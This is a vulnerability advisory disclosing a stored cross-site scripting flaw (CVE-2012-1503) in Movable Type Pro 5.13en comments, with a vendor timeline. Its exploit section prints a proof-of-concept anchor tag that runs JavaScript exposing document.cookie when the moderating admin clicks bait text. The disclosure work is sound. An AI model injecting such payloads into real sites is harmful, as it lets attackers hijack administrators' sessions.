Movable Type Pro 5.13en - Persistent Cross-Site Scripting

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Source URL: http://www.cloudscan.me/2012/10/cve-2012-1503-movable-type-pro-513en.html



Keywords: CVE-2012-1503, Movable Type Pro 5.13en, Stored XSS,

JavaScript Injection, Vendor Unresponsive, Full Disclosure



Introduction



Movable Type (MT) started as one of the industries first blogging platforms

and has developed into an industry leading publishing platform which has

been used globally for more than 10 years. Movable Type makes it simple to

manage entire websites, start new blogs, and build an engaged community of

readers and customers.



Six Apart KK has assumed responsibility over all intellectual property and

business operations of Movable Type, as well as trademark rights of Six

Apart. The new Six Apart, a Japanese corporation formerly known as Six

Apart KK, currently develops, markets and supports Movable Type for a

global user base, and also operates the company's website

(www.sixapart.com). The application can be downloaded from URL

http://www.movabletype.com/download/.



Exploit



Our researchers discovered a persistent XSS vulnerability, allowing an

attacker to inject arbitrary script code into the comment section of any

existing Mt5.13en installation. The blog comment is being moderated before

published; that means an attacker can target the moderating Admin

(employee) via Javascript Injection.



Exploit Code:



<a href=javascript:alert(document.cookie)>

X X X X X X X X X X X X X X X<br>

X X X X X X X X X X X X X X X<br>

X X X X CLICKME NOW!  X X X X<br>

X X X X X X X X X X X X X X X<br>

X X X X X X X X X X X X X X X</a>



Screenshot at URL

http://www.cloudscan.me/2012/10/cve-2012-1503-movable-type-pro-513en.html



Bug Metrics: CVSS 6.5



Timeline



March 2012 - Email PoC to Vendor via mt-security@sixapart.jp

April 2012 - No Response from Vendor

May 2012 - Email PoC to Vendor via mt-security@sixapart.jp

October 2012 - Full Disclosure



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